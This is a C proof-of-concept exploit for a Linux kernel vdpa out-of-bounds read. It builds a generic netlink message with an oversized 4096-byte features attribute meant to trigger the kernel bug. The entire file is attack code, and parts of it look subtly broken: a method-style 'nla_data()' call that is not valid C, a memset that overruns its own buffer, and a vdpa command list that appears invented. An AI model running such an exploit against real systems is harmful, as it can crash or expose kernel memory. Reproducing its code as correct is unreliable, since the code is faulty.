// PoC for CVE-2023-53652 - Linux kernel vdpa OOB read via missing nla_policy
// This PoC demonstrates how to trigger the vulnerability by sending a malicious
// netlink message with an oversized features attribute to the vdpa netlink interface.
// Note: Requires CAP_NET_ADMIN capability or root privileges.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#define NETLINK_GENERIC 16
#define VDPA_GENL_NAME "vdpa"
#define VDPA_GENL_VERSION 0x1
// vdpa commands and attributes (from include/uapi/linux/vdpa.h)
enum vdpa_command {
VDPA_CMD_UNSPEC,
VDPA_CMD_MGMTDEV_NEW,
VDPA_CMD_MGMTDEV_GET,
VDPA_CMD_DEV_NEW,
VDPA_CMD_DEV_DEL,
VDPA_CMD_DEV_GET,
VDPA_CMD_DEV_CONFIG_GET,
VDPA_CMD_DEV_FEATURES_SET,
};
enum vdpa_attr {
VDPA_ATTR_UNSPEC,
VDPA_ATTR_MGMTDEV_BUS_NAME, // string
VDPA_ATTR_MGMTDEV_DEV_NAME, // string
VDPA_ATTR_MGMTDEV_SUPPORTED_CLASSES, // u64
VDPA_ATTR_DEV_NAME, // string
VDPA_ATTR_DEV_ID, // u32
VDPA_ATTR_DEV_CLASS, // u16
VDPA_ATTR_DEV_FEATURES, // u64 (missing policy validation)
};
struct nl_sock {
int fd;
struct sockaddr_nl local;
struct sockaddr_nl peer;
int genl_family_id;
};
static int netlink_open(struct nl_sock *nl) {
nl->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (nl->fd < 0) {
perror("socket");
return -1;
}
memset(&nl->local, 0, sizeof(nl->local));
nl->local.nl_family = AF_NETLINK;
if (bind(nl->fd, (struct sockaddr *)&nl->local, sizeof(nl->local)) < 0) {
perror("bind");
return -1;
}
return 0;
}
static int genl_resolve_family(struct nl_sock *nl, const char *family_name) {
struct {
struct nlmsghdr nl_hdr;
struct genlmsghdr genl_hdr;
struct nlattr attr;
char name[32];
} msg;
struct {
struct nlmsghdr nl_hdr;
struct genlmsghdr genl_hdr;
char buf[256];
} resp;
struct nlattr *attrs;
int len;
memset(&msg, 0, sizeof(msg));
msg.nl_hdr.nlmsg_type = GENL_ID_CTRL;
msg.nl_hdr.nlmsg_flags = NLM_F_REQUEST;
msg.nl_hdr.nlmsg_seq = 1;
msg.nl_hdr.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
msg.genl_hdr.cmd = CTRL_CMD_GETFAMILY;
msg.genl_hdr.version = 1;
msg.attr.nla_type = CTRL_ATTR_FAMILY_NAME;
msg.attr.nla_len = NLA_HDRLEN + strlen(family_name) + 1;
strcpy((char *)msg.attr.nla_data(), family_name);
msg.nl_hdr.nlmsg_len += NLA_ALIGN(msg.attr.nla_len);
if (send(nl->fd, &msg, msg.nl_hdr.nlmsg_len, 0) < 0) {
perror("send");
return -1;
}
len = recv(nl->fd, &resp, sizeof(resp), 0);
if (len < 0) {
perror("recv");
return -1;
}
attrs = (struct nlattr *)((char *)&resp + NLMSG_LENGTH(sizeof(struct genlmsghdr)));
int attr_len = len - NLMSG_LENGTH(sizeof(struct genlmsghdr));
while (attr_len >= NLA_HDRLEN) {
if (attrs->nla_type == CTRL_ATTR_FAMILY_ID) {
nl->genl_family_id = *(uint16_t *)NLA_DATA(attrs);
return nl->genl_family_id;
}
attr_len -= NLA_ALIGN(attrs->nla_len);
attrs = (struct nlattr *)((char *)attrs + NLA_ALIGN(attrs->nla_len));
}
return -1;
}
int main(int argc, char *argv[]) {
struct nl_sock nl;
char buf[4096] __attribute__((aligned(NLMSG_ALIGNTO)));
struct nlmsghdr *nl_hdr;
struct genlmsghdr *genl_hdr;
struct nlattr *attr;
int payload_len;
int ret;
printf("[+] CVE-2023-53652 PoC - vdpa OOB read\n");
if (netlink_open(&nl) < 0) {
fprintf(stderr, "[-] Failed to open netlink socket\n");
return 1;
}
if (genl_resolve_family(&nl, VDPA_GENL_NAME) < 0) {
fprintf(stderr, "[-] Failed to resolve vdpa genl family\n");
close(nl.fd);
return 1;
}
printf("[+] vdpa family ID: %d\n", nl.genl_family_id);
// Construct malicious netlink message with oversized features attribute
// The vulnerability is that VDPA_ATTR_FEATURES has no nla_policy,
// so we can send an oversized payload to trigger OOB read
memset(buf, 0, sizeof(buf));
nl_hdr = (struct nlmsghdr *)buf;
genl_hdr = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
// Fill the attributes with an oversized payload (e.g., 4096 bytes instead of 8)
// Expected size for u64 is 8 bytes, but we send much more
payload_len = 4096;
attr->nla_type = VDPA_ATTR_DEV_FEATURES;
attr->nla_len = NLA_HDRLEN + payload_len;
memset(NLA_DATA(attr), 0x41, payload_len); // Fill with 'A's
nl_hdr->nlmsg_type = nl.genl_family_id;
nl_hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nl_hdr->nlmsg_seq = 2;
nl_hdr->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(attr->nla_len);
genl_hdr->cmd = VDPA_CMD_DEV_FEATURES_SET;
genl_hdr->version = VDPA_GENL_VERSION;
printf("[+] Sending malicious netlink message with %d byte features payload\n", payload_len);
ret = send(nl.fd, buf, nl_hdr->nlmsg_len, 0);
if (ret < 0) {
perror("[-] send");
close(nl.fd);
return 1;
}
printf("[+] Message sent. If the kernel is vulnerable, this may cause OOB read.\n");
printf("[+] Check dmesg for kernel warnings or oops messages.\n");
close(nl.fd);
return 0;
}